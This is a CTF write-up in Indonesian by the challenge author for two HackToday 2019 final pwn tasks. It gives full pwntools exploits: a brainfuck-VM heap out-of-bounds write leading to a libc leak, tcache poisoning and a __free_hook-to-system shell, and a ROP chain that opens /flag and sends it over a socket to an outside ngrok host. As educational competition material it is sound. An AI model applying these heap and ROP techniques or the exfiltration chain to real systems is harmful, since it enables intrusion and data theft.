HackToday 2019 Final - pwn

Tulisan ini adalah bagian terakhir dari seri writeup HackToday 2019, kali ini saya akan membahas writeup untuk pwn di final dan beberapa desain yang gagal diimplementasikan di soal.

vmxck

Desain awal soal ini sebenarnya ada hubungan dengan virtualisasi pada mesin dan bukan termasuk bagian dari pwn. Iya, ini awalnya akan dijadikan soal reversing dengan register state based vm dengan kvm. vm di dalam vmvm di dalam vm Beberapa hari sebelum final, input soal-soal untuk reversing ternyata udah lumayan banyak, rencana untuk lanjut dan menyelesaikan soal ini jadi gagal, wkwkw. Agak malas untuk memikirkan ide lain, saya pakai ide “vm” lagi dan gak berbeda jauh dari soal tahun lalu anoneanone. Soal ini masih sekitar brainfuck, seharusnya (belum di-cek :p) tidak ada overflow pada input dan double free. Bug justru terletak pada OOB akses data cell.

struct vmx {
  char* prog;
  unsigned char* data;
} vmx[20];

Diberikan space sebanyak 20 “vm”, dengan setiap “vm” mempunyai .data dan .prog masing-masing. Sudah dijelaskan sebelumnya terdapat OOB pada akses data, dengan ukuran program yang sama besarnya dengan ukuran data.

  vmx[idx].prog = malloc(0x250);
  vmx[idx].data = malloc(0x250);

Sebelum bahas lebih lanjut, ini helper functions untuk memudahkan interaksi dengan program,

def create(bf):
    r.sendlineafter('> ', '1')
    r.sendlineafter(': ', str(bf))

def run(idx):
    r.sendlineafter('> ', '2')
    r.sendlineafter(': ', str(idx))
    return r.recvuntil('1. ', 1)

def delete(idx):
    r.sendlineafter('> ', '3')
    r.sendlineafter(': ', str(idx))

Dengan OOB pada akses .data, salah satu yang dapat dilakukan adalah mengganti metadata dari heap chunk .data itu sendiri. ukuran dari chunk ini diubah menjadi lebih besar dari ukuran yang dapat ditampung tcache, tujuannya untuk mendapat leak libc.

create('.')
# pwndbg> dq $rebase((long*)&vmx)
# 0000555555756060     000055555575a270 000055555575a4d0
# 0000555555756070     0000000000000000 0000000000000000
# 0000555555756080     0000000000000000 0000000000000000
# 0000555555756090     0000000000000000 0000000000000000
# pwndbg> dq 0x55555575a4c0
# 000055555575a4c0     0000000000000000 0000000000000261
# 000055555575a4d0     0000000000000000 0000000000000000
#                                    ^^--------------------- mulai .data vmx[0]
# 000055555575a4e0     0000000000000000 0000000000000000
# 000055555575a4f0     0000000000000000 0000000000000000

karena perlu chunk dengan ukuran lebih besar dari ukuran sebenarnya, diperlukan “fake” chunk untuk bypass "double free or corruption (!prev)".

create('.')
create('.')
# pwndbg> dq $rebase((long*)&vmx)
# 0000555555756060     000055555575a270 000055555575a4d0
# 0000555555756070     000055555575a730 000055555575a990
# 0000555555756080     0000000000000000 0000000000000000
# 0000555555756090     0000000000000000 0000000000000000

dengan begitu ukuran chunk bisa diubah menjadi (0x55555575a990-0x55555575a4d0) | PREV_INUSE = 0x4c1. Dalam brainfuck, .data ptr hanya perlu di shift ke kiri sebanyak 8 kali untuk mencapai chunk metadata. Setelah itu, dengan delete(0) akan didapatkan libc leak.

    payload  = '<<<<<<<<' # shift kiri .data ptr
    payload += '+' * (0xc0-0x60)
    payload += '>++'
    create(payload)
    create('.')

    run(0)
    # pwndbg> dq 0x55555575a4c0
    # 000055555575a4c0     0000000000000000 00000000000004c1
    # 000055555575a4d0     0000000000000000 0000000000000000
    # 000055555575a4e0     0000000000000000 0000000000000000
    # 000055555575a4f0     0000000000000000 0000000000000000

    delete(0)
    # pwndbg> dq 0x55555575a4c0
    # 000055555575a4c0     0000000000000000 00000000000004c1
    # 000055555575a4d0     0000155555521ca0 0000155555521ca0 !!!!! leak
    # 000055555575a4e0     0000000000000000 0000000000000000
    # 000055555575a4f0     0000000000000000 0000000000000000

untuk mendapatakan leak, bisa gunakan instruksi ./putchar satu per satu dari .data cell. Ini bisa dilakukan karena setelah free, isi data tidak dikosongkan (memset) sama sekali.

    payload  = '.>' * 8
    create(payload)
    libc.address = (u64(run(0)) - libc.sym['__malloc_hook']) & 0xFFFFFFFFFFFFF000
    info('libc 0x%x' % (libc.address))

setelah leak didapat yang perlu dikontrol selanjutnya adalah alokasi dari malloc. tcache poisoning disini bisa dilakukan, tapi dengan limitasi ukuran program hanya sebesar 0x250 dan tidak ada uaf. “shift” pointer data berulang kali dengan batasan ukuran program untuk mengotrol chunk lain dengan “<” / “>” juga tidak bisa. Trik yang digunakan disini adalah [<-]. Sebagai visualisasi,

000055555575axxx     0000000000000000 0000000000000261 .prog
000055555575axxx     ................ ................
000055555575axxx     0000000000000007 0000000000000000
                                   ^^--------------------- mulai .prog vmx[n - 1]
...
...
000055555575axxx     0000000000000000 0000000000000261 .data
000055555575axxx     0000000000000000 0000000000000000
                                   ^^--------------------- mulai .data vmx[n]
000055555575axxx     0000000000000000 0000000000000000
000055555575axxx     0000000000000000 0000000000000000

[<-------], ] akan mengecek apakah *ptr == 0, jika tidak, loop akan tetap dieksekusi. Disini trik yang diguakan adalah shift data terus sampai ke posisi *ptr == 7 (perhatikan bahwa di dalam loop, sebelum ] terdapat 7 * -). Byte yang dilewati memang akan menjadi amburadul, tapi akhirnya tidak perlu dipedulikan juga, yang penting sudah bisa mengontrol chunk lain dan ratusan byte untuk program sudah dihemat dengan cara seperti ini.

    payload  = '[>---]'
    create(payload) # 3

    payload  = p64(0)
    payload += p64(0)
    payload += p8(3) # unique val
    create(payload) # 4

    # pwndbg> dq $rebase((long*)&vmx) 10
    # 0000555555756060     000055555575a270 000055555575a4d0
    # 0000555555756070     000055555575a730 000055555575a990
    # 0000555555756080     000055555575a730 000055555575abf0
    # 0000555555756090     000055555575ae50 000055555575b0b0
    # 00005555557560a0     000055555575b310 000055555575b570
    # pwndbg> dq 0x55555575b0a0
    # 000055555575b0a0     0000000000000000 0000000000000261
    # 000055555575b0b0     0000000000000000 0000000000000000
    #                                    ^^-------------------- vmx[3].data
    # 000055555575b0c0     0000000000000000 0000000000000000
    # 000055555575b0d0     0000000000000000 0000000000000000
    # pwndbg> dq 0x55555575b300
    # 000055555575b300     0000000000000000 0000000000000261
    # 000055555575b310     0000000000000003 0000000000000000
    #                                    ^^-------------------- unique value @ vmx[4].prog
    # 000055555575b320     0000000000000000 0000000000000000
    # 000055555575b330     0000000000000000 0000000000000000

    delete(4)
    run(3)
    # pwndbg> dq 0x55555575b300
    # 000055555575b300     fdfdfdfdfdfdfdfd fdfdfdfdfdfdff5e
    # 000055555575b310     fdfd52525272b26d fdfdfdfdfdfdfdfd
    # 000055555575b320     0000000000000000 0000000000000000
    # 000055555575b330     0000000000000000 0000000000000000

next step, tcache poisoning perlu bisa tulis pointer. Dengan input yang terbatas ini, ada cara yang lebih baik untuk menulis pointer dibandingkan dengan menambahkan isi cell secara manual, yakni copy value dari cell lain. Chunk yang dapat dikontrol sekarang adalah bagian .prog, artinya kita bisa menambahkan arbitrary data melalui input. value yang akan dicopy adalah __free_hook,

    payload  = '[>---]'
    payload += '<+++' * 8 # perbaiki cell src, hancur sebelumnya karena [>---]
    payload += '<[-]' * 8 # kosongin cell dest
    payload += '>' * 8 # balik ke cell src
    payload += '[-<<<<<<<<+>>>>>>>>]>' * 8 # copy value dari src ke dest cells
    create(payload) # 3

    payload  = p64(libc.sym['__free_hook'])
    payload += p64(libc.sym['__free_hook'])
    payload += p8(3) # unique val
    create(payload) # 4

    delete(4)
    # pwndbg> dq 0x55555575b300
    # 000055555575b300     0000000000000000 0000000000000261
    # 000055555575b310     000055555575b570 00001555555238e8
    # 000055555575b320     0000000000000003 0000000000000000
    # 000055555575b330     0000000000000000 0000000000000000
    run(3)
    # pwndbg> dq 0x55555575b300
    # 000055555575b300     fdfdfdfdfdfdfdfd fdfdfdfdfdfdff5e
    # 000055555575b310     00001555555238e8 0000000000000000
    # 000055555575b320     0000000000000000 0000000000000000
    # 000055555575b330     0000000000000000 0000000000000000
    # pwndbg> bins
    # tcachebins
    # 0x260 [  2]: 0x55555575b310 —▸ 0x1555555238e8 (__free_hook) ◂— 0x0

Oh, iya, sebelum malloc hancur karena tcache poisoning ini, lebih baik untuk menyiapkan "/bin/sh".

    create('/bin/sh\x00') # 2

    payload  = '[>---]'
    payload += '<+++' * 8 # perbaiki cell src, hancur sebelumnya karena [>---]
    payload += '<[-]' * 8 # kosongin cell dest
    payload += '>' * 8 # balik ke cell src
    payload += '[-<<<<<<<<+>>>>>>>>]>' * 8 # copy value dari src ke dest cells
    create(payload) # 3

    payload  = p64(libc.sym['__free_hook'])
    payload += p64(libc.sym['__free_hook'])
    payload += p8(3) # unique val
    create(payload) # 4

    delete(4)
    run(3)

Request malloc kedua setelah ini seharunya sudah mendarat di __free_hook, tapi karena create() itu sendiri melakukan 2 request malloc, untuk .prog dan .data, maka .data-lah yang akan mendarat di __free_hook. Berbeda dengan sebelumnya dimana kita bisa memanfaatkan value yang ditambahkan melalui input karena berada di .prog, kali ini .data hanya bisa memanfaatkan aritmatiknya saja tanpa arbitrary data melalui user input.

    payload  = get_min((libc.sym['system'] >>  0) & 0xff)
    payload += get_min((libc.sym['system'] >>  8) & 0xff)
    payload += get_min((libc.sym['system'] >> 16) & 0xff)
    payload += get_min((libc.sym['system'] >> 24) & 0xff)
    payload += get_min((libc.sym['system'] >> 32) & 0xff)
    payload += get_min((libc.sym['system'] >> 40) & 0xff)
    create(payload) # 4
    run(4)
    # pwndbg> tel &__free_hook
    # 00:0000│   0x1555555238e8 (__free_hook) —▸ 0x1555553b2e60 (system) ◂— test   rdi, rdi
    # 01:0008│   0x1555555238f0 (__malloc_initialize_hook@GLIBC_2.2.5) ◂— 0x0

dengan begitu, delete(2) seharusnya sudah memberikan shell, karena tadi sudah create("/bin/sh") pada index 2 dan __free_hook sudah menunjuk kepada system

    # profit
    delete(2)

ezrop revenge

Soal ini sebenarnya ada kaitannya dengan ezrop pada kualifikasi, dengan twist closed std{in,out,err}, static binary, x86, dengan EBP yang sudah di-poison seperti yang saya tulis sebelumnya. Kalau dipikir lagi ini sebenarnya tidak menambahkan hal baru selain closed I/O, sehingga pada akhirnya saya membuat soal ini dengan buffer overflow biasa tanpa tambahan kerumitan lainnya. Kurang lebih seperti ini kodenya,

#include <unistd.h>

int main() {
    char buf[...];
    write(1, "no view(), no surrender!\n", ...);
    read(0, buf, ...);
    close(2);
    close(1);
    close(0);
}

Oiya, closed I/O ini sebenarnya dapat ide dari soal ISITDTU Final, babyarmv2, beberapa hari lalu, kudos to orgs.

Intended solution dari soal ini dengan buka socket fd dan connect ke server dan menulis isi file flag pada fd tersebut. Sebelum itu semua yang diperlukan adalah arbitrary write primitive dengan mov [dst], src dan untungnya terdapat gadget seperti ini pada binary.

# 0x08057bd2: mov dword ptr [edx], eax; ret;
# 0x080ab5ca: pop eax; ret;
# 0x0806ee8b: pop edx; ret;

def write_where_what(where, what):
    payload  = p32(0x080ab5ca)
    payload += p32(what)
    payload += p32(0x0806ee8b)
    payload += p32(where)
    payload += p32(0x08057bd2)
    return payload

arbitrary write primitive ini bisa digunakan dengan fungsi lain untuk memudahkan penulisan string panjang, write_str,

def write_str(where, data):
    payload  = ''
    data_split = [data[i:i+4].ljust(4, '\x00') for i in range(0, len(data), 4)]
    for d in data_split:
        payload += write_where_what(where, u32(d))
        where += 4
    return payload

write_str ini berguna untuk menyiapkan argument yang digunakan pada syscall, misalnya open(3). btw, ada tambahan juga, fungsi untuk memudahkan memanggil syscall.

# 0x0806eeb2: pop ecx; pop ebx; ret;
# 0x0806f7c0: int 0x80; ret;

def syscall(eax, ebx=0, ecx=0, edx=0):
    payload  = p32(0x0806ee8b)
    payload += p32(edx)
    payload += p32(0x080ab5ca)
    payload += p32(eax)
    payload += p32(0x0806eeb2)
    payload += p32(ecx)
    payload += p32(ebx)
    payload += p32(0x0806f7c0)
    return payload

the exploit, saya tidak akan terlalu membahas dalam sokcetcall syscall karena sudah ada banyak yang membahas tentang ini sebelumnya.

def exploit(REMOTE):
    payload  = 'AAAAAAAAAAAAAAAAAAAA'

    # open flag
    payload += write_str(elf.bss(0x10), '/flag\x00')
    payload += syscall(5, elf.bss(0x10), 0, 0)

    # open socket
    sock_arg  = p32(2)
    sock_arg += p32(1)
    sock_arg += p32(0)
    payload += write_str(elf.bss(0x20), sock_arg)
    # socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
    payload += syscall(0x66, 1, elf.bss(0x20))

    # connect
    IPHEX = 0x030ed4ad # 0.tcp.ngrok.io
    connect_struct  = p32(0x0b290002) # port: 1507, domain: AF_INET
    connect_struct += p32(IPHEX)[::-1]
    payload += write_str(elf.bss(0x30), connect_struct)

    connect_arg  = p32(1) # sockfd
    connect_arg += p32(elf.bss(0x30)) # connect_struct
    connect_arg += p32(0x10) # connect_struct size
    payload += write_str(elf.bss(0x100), connect_arg)
    # connect(sockfd, (struct sockaddr *) &connect_struct, 0x10)
    payload += syscall(0x66, 3, elf.bss(0x100))

    # read flag
    payload += syscall(3, 0, elf.bss(0x200), 0x100)

    # write to sockfd
    payload += syscall(4, 1, elf.bss(0x200), 0x100)

    r.sendafter('\n', payload)
comments powered by Disqus